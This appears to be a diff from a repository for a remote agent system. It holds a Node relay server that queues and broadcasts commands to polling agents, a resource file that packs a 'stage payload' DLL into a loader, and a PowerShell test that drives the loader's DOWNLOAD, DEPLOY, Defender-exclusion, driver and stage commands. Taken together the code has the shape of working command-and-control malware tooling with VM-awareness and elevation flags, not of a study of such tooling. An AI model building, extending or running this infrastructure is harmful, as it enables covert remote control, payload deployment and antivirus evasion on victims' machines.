FROM commands ORDER BY created DESC LIMIT ?`).all(limit);
|
||||||
|
|
||||||
|
return json(res, { ok: true, commands: rows });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/api/enqueue" && req.method === "POST")
|
||||||
|
{
|
||||||
|
let payload;
|
||||||
|
|
||||||
|
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||||
|
|
||||||
|
if (!payload || !payload.agent || !payload.text)
|
||||||
|
return json(res, { ok: false, error: "agent and text required" }, 400);
|
||||||
|
|
||||||
|
return json(res, { ok: true, id: enqueue(payload.agent, payload.text, "panel") });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/api/broadcast" && req.method === "POST")
|
||||||
|
{
|
||||||
|
let payload;
|
||||||
|
|
||||||
|
try { payload = JSON.parse(body.toString("utf8")); } catch { payload = null; }
|
||||||
|
|
||||||
|
if (!payload || !payload.text)
|
||||||
|
return json(res, { ok: false, error: "text required" }, 400);
|
||||||
|
|
||||||
|
const t = now();
|
||||||
|
const rows = db.prepare("SELECT id FROM agents WHERE last_seen > ?").all(t - 300);
|
||||||
|
|
||||||
|
for (const a of rows)
|
||||||
|
enqueue(a.id, payload.text, "broadcast");
|
||||||
|
|
||||||
|
return json(res, { ok: true, sent: rows.length, agents: rows.map(a => a.id) });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p.startsWith("/api/command/"))
|
||||||
|
{
|
||||||
|
const row = db.prepare("SELECT * FROM commands WHERE id=?").get(p.slice(13));
|
||||||
|
|
||||||
|
return row ? json(res, { ok: true, command: row }) : json(res, { ok: false, error: "not found" }, 404);
|
||||||
|
}
|
||||||
|
|
||||||
|
return json(res, { ok: false, error: "unknown endpoint" }, 404);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/poll" || p === "/ack" || p === "/status" || p === "/enqueue")
|
||||||
|
{
|
||||||
|
const agent = authenticateAgent(req, url, body);
|
||||||
|
|
||||||
|
if (!agent)
|
||||||
|
return text(res, "denied", 403);
|
||||||
|
|
||||||
|
if (p === "/poll")
|
||||||
|
return poll(agent, req, res);
|
||||||
|
|
||||||
|
if (p === "/ack" && req.method === "POST")
|
||||||
|
return ack(agent, url, body, res);
|
||||||
|
|
||||||
|
if (p === "/status")
|
||||||
|
{
|
||||||
|
const row = db.prepare("SELECT result FROM commands WHERE agent=? AND state='done' ORDER BY finished DESC LIMIT 1").get(agent);
|
||||||
|
const last = row && row.result ? Buffer.from(row.result, "utf8").toString("base64") : null;
|
||||||
|
return json(res, { ok: true, agent, last });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (p === "/enqueue" && req.method === "POST")
|
||||||
|
{
|
||||||
|
const cmdText = body.toString("utf8").trim();
|
||||||
|
|
||||||
|
if (!cmdText)
|
||||||
|
return text(res, "empty", 400);
|
||||||
|
|
||||||
|
return json(res, { ok: true, id: enqueue(agent, cmdText, "agent") });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
text(res, "ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
const server = http.createServer((req, res) => {
|
||||||
|
handle(req, res).catch(err => {
|
||||||
|
try { json(res, { ok: false, error: String(err && err.message ? err.message : err) }, 500); } catch { }
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
server.listen(PORT, () => {
|
||||||
|
console.log(`relay server on http://127.0.0.1:${PORT}`);
|
||||||
|
console.log(`data: ${DATA_DIR}`);
|
||||||
|
console.log(`panel: ${PANEL_PATH}`);
|
||||||
|
console.log(`legacy master auth: ${LEGACY_MASTER_AUTH}`);
|
||||||
|
console.log(`journal mode: ${db.prepare("PRAGMA journal_mode").get().journal_mode}`);
|
||||||
|
});
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
// The stage payload is packed into the loader when build.ps1 has copied
|
||||||
|
// ardrvstage.dll next to this project first. Without that file the resource is
|
||||||
|
// omitted and the loader falls back to a DLL on disk.
|
||||||
|
#ifdef HAVE_STAGE_DLL
|
||||||
|
IDR_STAGE_DLL RCDATA "ardrvstage.dll"
|
||||||
|
#endif
|
||||||
+298
@@ -0,0 +1,298 @@
|
|||||||
|
# End-to-end test for the cloud agent against the local mock worker.
|
||||||
|
#
|
||||||
|
# powershell -ExecutionPolicy Bypass -File test-cloud.ps1
|
||||||
|
#
|
||||||
|
# Requests are HMAC-SHA256 signed exactly like the agent does it.
|
||||||
|
# Exercises: PING, STATUS, DOWNLOAD, DEPLOY, bad-hash rejection, STOP.
|
||||||
|
|
||||||
|
param(
|
||||||
|
[int]$Port = 8790,
|
||||||
|
[string]$Secret = "testsecret",
|
||||||
|
[string]$AgentId = "clitest",
|
||||||
|
[string]$OperatorKey = "testop",
|
||||||
|
[string]$Exe = "$PSScriptRoot\x64\Release\ArDrvLoader.exe"
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
if (-not (Test-Path -LiteralPath $Exe))
|
||||||
|
{
|
||||||
|
throw "Agent binary not found: $Exe (build Release first)"
|
||||||
|
}
|
||||||
|
|
||||||
|
$base = "http://127.0.0.1:$Port"
|
||||||
|
$payloadDir = Join-Path $env:TEMP "ardrv-test-payloads"
|
||||||
|
$downloadDir = Join-Path $env:TEMP "ardrv-test-downloads"
|
||||||
|
|
||||||
|
Remove-Item -Recurse -Force $payloadDir, $downloadDir -ErrorAction SilentlyContinue
|
||||||
|
New-Item -ItemType Directory -Force -Path $payloadDir, $downloadDir | Out-Null
|
||||||
|
|
||||||
|
$payloadPath = Join-Path $payloadDir "hello.cmd"
|
||||||
|
"@echo off`r`necho deployed-by-cloud-agent" | Set-Content -LiteralPath $payloadPath -Encoding ASCII
|
||||||
|
|
||||||
|
function Get-Sha256Hex([byte[]]$Bytes)
|
||||||
|
{
|
||||||
|
$sha = [System.Security.Cryptography.SHA256]::Create()
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if ($null -eq $Bytes -or $Bytes.Length -eq 0)
|
||||||
|
{
|
||||||
|
$stream = New-Object System.IO.MemoryStream
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$stream = New-Object System.IO.MemoryStream(, $Bytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $sha.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-HmacHex([string]$Key, [string]$Message)
|
||||||
|
{
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACSHA256
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
|
||||||
|
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
|
||||||
|
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $hmac.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Invoke-Worker([string]$Path, [string]$Method = "GET", [string]$Body = "")
|
||||||
|
{
|
||||||
|
$bodyBytes = if ($Body) { [System.Text.Encoding]::UTF8.GetBytes($Body) } else { [byte[]]@() }
|
||||||
|
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
|
||||||
|
$canonicalPath = $Path.TrimStart("/")
|
||||||
|
$canonical = "$AgentId`n$ts`n$Method`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)"
|
||||||
|
$sign = Get-HmacHex $Secret $canonical
|
||||||
|
|
||||||
|
$headers = @{
|
||||||
|
"X-Agent-Id" = $AgentId
|
||||||
|
"X-Agent-Ts" = $ts
|
||||||
|
"X-Agent-Sign" = $sign
|
||||||
|
}
|
||||||
|
|
||||||
|
$uri = "$base$Path"
|
||||||
|
|
||||||
|
if ($Method -eq "POST")
|
||||||
|
{
|
||||||
|
return Invoke-WebRequest -Method Post -Uri $uri -Body ([byte[]]$bodyBytes) -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing
|
||||||
|
}
|
||||||
|
|
||||||
|
return Invoke-WebRequest -Method Get -Uri $uri -Headers $headers -UseBasicParsing
|
||||||
|
}
|
||||||
|
|
||||||
|
function Decode-Last([string]$Value)
|
||||||
|
{
|
||||||
|
if (-not $Value) { return "" }
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value))
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return $Value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-Command([string]$Command, [int]$TimeoutSec = 45)
|
||||||
|
{
|
||||||
|
# Enqueue through the operator API, then poll that exact command id.
|
||||||
|
# Waiting on "last changed" is flaky: identical outputs look like timeouts.
|
||||||
|
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes((@{ agent = $AgentId; text = $Command } | ConvertTo-Json -Compress))
|
||||||
|
$res = Invoke-WebRequest -Method Post -Uri "$base/api/enqueue" -Body $bodyBytes `
|
||||||
|
-ContentType "application/json" -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing
|
||||||
|
|
||||||
|
$id = ($res.Content | ConvertFrom-Json).id
|
||||||
|
|
||||||
|
$deadline = (Get-Date).AddSeconds($TimeoutSec)
|
||||||
|
|
||||||
|
while ((Get-Date) -lt $deadline)
|
||||||
|
{
|
||||||
|
Start-Sleep -Milliseconds 400
|
||||||
|
|
||||||
|
$list = (Invoke-WebRequest -Uri "$base/api/commands?agent=$AgentId&limit=30" `
|
||||||
|
-Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing).Content | ConvertFrom-Json
|
||||||
|
|
||||||
|
$cmd = @($list.commands | Where-Object { $_.id -eq $id }) | Select-Object -First 1
|
||||||
|
|
||||||
|
if ($cmd -and $cmd.state -eq "done")
|
||||||
|
{
|
||||||
|
return [string]$cmd.result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "<timeout>"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "starting mock worker..."
|
||||||
|
$mockArgs = @(
|
||||||
|
"-ExecutionPolicy", "Bypass",
|
||||||
|
"-File", "$PSScriptRoot\cloudflare\mock-worker.ps1",
|
||||||
|
"-Port", "$Port",
|
||||||
|
"-Secret", $Secret,
|
||||||
|
"-FileDir", $payloadDir
|
||||||
|
)
|
||||||
|
|
||||||
|
$mock = Start-Process -FilePath "powershell.exe" -ArgumentList $mockArgs -PassThru -WindowStyle Hidden
|
||||||
|
Start-Sleep -Seconds 2
|
||||||
|
|
||||||
|
Write-Host "starting agent..."
|
||||||
|
$agentArgs = @(
|
||||||
|
"-cloud",
|
||||||
|
"--agent", $AgentId,
|
||||||
|
"--url", $base,
|
||||||
|
"--secret", $Secret,
|
||||||
|
"--interval", "1000",
|
||||||
|
"--no-start-driver",
|
||||||
|
"--elevated",
|
||||||
|
"--allow-vm"
|
||||||
|
)
|
||||||
|
|
||||||
|
$agent = Start-Process -FilePath $Exe -ArgumentList $agentArgs -PassThru -WindowStyle Hidden
|
||||||
|
Start-Sleep -Seconds 2
|
||||||
|
|
||||||
|
$results = [ordered]@{}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Write-Host "`nPING ->" -NoNewline
|
||||||
|
$results["PING"] = Send-Command "PING"
|
||||||
|
Write-Host " $($results['PING'])"
|
||||||
|
|
||||||
|
Write-Host "STATUS ->" -NoNewline
|
||||||
|
$results["STATUS"] = Send-Command "STATUS"
|
||||||
|
Write-Host " $($results['STATUS'])"
|
||||||
|
|
||||||
|
$dlTarget = Join-Path $downloadDir "hello.cmd"
|
||||||
|
Write-Host "DOWNLOAD ->" -NoNewline
|
||||||
|
$results["DOWNLOAD"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$dlTarget`""
|
||||||
|
Write-Host " $($results['DOWNLOAD'])"
|
||||||
|
|
||||||
|
Write-Host "BADHASH ->" -NoNewline
|
||||||
|
$results["BADHASH"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$downloadDir\bad.cmd`" 0000000000000000000000000000000000000000000000000000000000000000"
|
||||||
|
Write-Host " $($results['BADHASH'])"
|
||||||
|
|
||||||
|
Write-Host "DEPLOY ->" -NoNewline
|
||||||
|
$results["DEPLOY"] = Send-Command "DEPLOY $base/file/hello.cmd"
|
||||||
|
Write-Host " $($results['DEPLOY'])"
|
||||||
|
|
||||||
|
Write-Host "HOST_LIST ->" -NoNewline
|
||||||
|
$results["HOST_LIST"] = Send-Command "HOST_LIST"
|
||||||
|
Write-Host " $($results['HOST_LIST'].Split("`n")[0])"
|
||||||
|
|
||||||
|
Write-Host "HOST_TRACK ->" -NoNewline
|
||||||
|
$results["HOST_TRACK"] = Send-Command "HOST_TRACK"
|
||||||
|
Write-Host " $($results['HOST_TRACK'])"
|
||||||
|
|
||||||
|
Write-Host "STAGE_STATUS ->" -NoNewline
|
||||||
|
$results["STAGE_STATUS"] = Send-Command "STAGE_STATUS"
|
||||||
|
Write-Host " $($results['STAGE_STATUS'])"
|
||||||
|
|
||||||
|
Write-Host "EXCLUSION_LIST ->" -NoNewline
|
||||||
|
$results["EXCLUSION_LIST"] = Send-Command "EXCLUSION_LIST"
|
||||||
|
Write-Host " $(($results['EXCLUSION_LIST'] -split "`n")[0])"
|
||||||
|
|
||||||
|
Write-Host "DRIVER_STATUS ->" -NoNewline
|
||||||
|
$results["DRIVER_STATUS"] = Send-Command "DRIVER_STATUS"
|
||||||
|
Write-Host " $($results['DRIVER_STATUS'])"
|
||||||
|
|
||||||
|
Write-Host "STOP ->" -NoNewline
|
||||||
|
$results["STOP"] = Send-Command "STOP"
|
||||||
|
Write-Host " $($results['STOP'])"
|
||||||
|
|
||||||
|
# Unsigned request must be rejected by the worker.
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$null = Invoke-WebRequest -Method Get -Uri "$base/status" -UseBasicParsing
|
||||||
|
$results["UNSIGNED"] = "ACCEPTED (bad)"
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
$results["UNSIGNED"] = "403 rejected"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
Wait-Process -Id $agent.Id -Timeout 10 -ErrorAction SilentlyContinue
|
||||||
|
Stop-Process -Id $agent.Id -Force -ErrorAction SilentlyContinue
|
||||||
|
Stop-Process -Id $mock.Id -Force -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
$downloaded = Test-Path -LiteralPath $dlTarget
|
||||||
|
$badExists = Test-Path -LiteralPath (Join-Path $downloadDir "bad.cmd")
|
||||||
|
|
||||||
|
$deployPath = ""
|
||||||
|
if ($results["DEPLOY"] -match "^OK (?:SYSTEM )?(.+)$") { $deployPath = $matches[1] }
|
||||||
|
$deployed = $deployPath -and (Test-Path -LiteralPath $deployPath)
|
||||||
|
|
||||||
|
Write-Host "`n--- summary ---"
|
||||||
|
$results.GetEnumerator() | ForEach-Object { "{0,-9} {1}" -f $_.Key, $_.Value }
|
||||||
|
"download file exists : $downloaded"
|
||||||
|
"bad-hash file removed : $(-not $badExists)"
|
||||||
|
"deployed file exists : $deployed"
|
||||||
|
|
||||||
|
$failed = @()
|
||||||
|
|
||||||
|
foreach ($key in @("PING", "STATUS", "DOWNLOAD", "DEPLOY", "STOP"))
|
||||||
|
{
|
||||||
|
if ($results[$key] -match "^(ERR|<timeout>)")
|
||||||
|
{
|
||||||
|
$failed += "$key failed"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]$results["HOST_LIST"]).Contains("hosts="))
|
||||||
|
{
|
||||||
|
$failed += "host list failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not (([string]$results["HOST_TRACK"]).Contains("alive=") -or ([string]$results["HOST_TRACK"]).Contains("track=none")))
|
||||||
|
{
|
||||||
|
$failed += "host track failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]$results["STAGE_STATUS"]).Contains("alive="))
|
||||||
|
{
|
||||||
|
$failed += "stage status failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]$results["EXCLUSION_LIST"]).Contains("defender="))
|
||||||
|
{
|
||||||
|
$failed += "exclusion list failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]$results["DRIVER_STATUS"]).Contains("fail="))
|
||||||
|
{
|
||||||
|
$failed += "driver status failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($results["BADHASH"] -notmatch "^ERR DOWNLOAD hash mismatch")
|
||||||
|
{
|
||||||
|
$failed += "bad-hash not rejected"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($results["UNSIGNED"] -notmatch "403")
|
||||||
|
{
|
||||||
|
$failed += "unsigned request accepted"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($failed)
|
||||||
|
{
|
||||||
|
Write-Host "`nFAIL: $($failed -join '; ')"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "`nPASS"
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user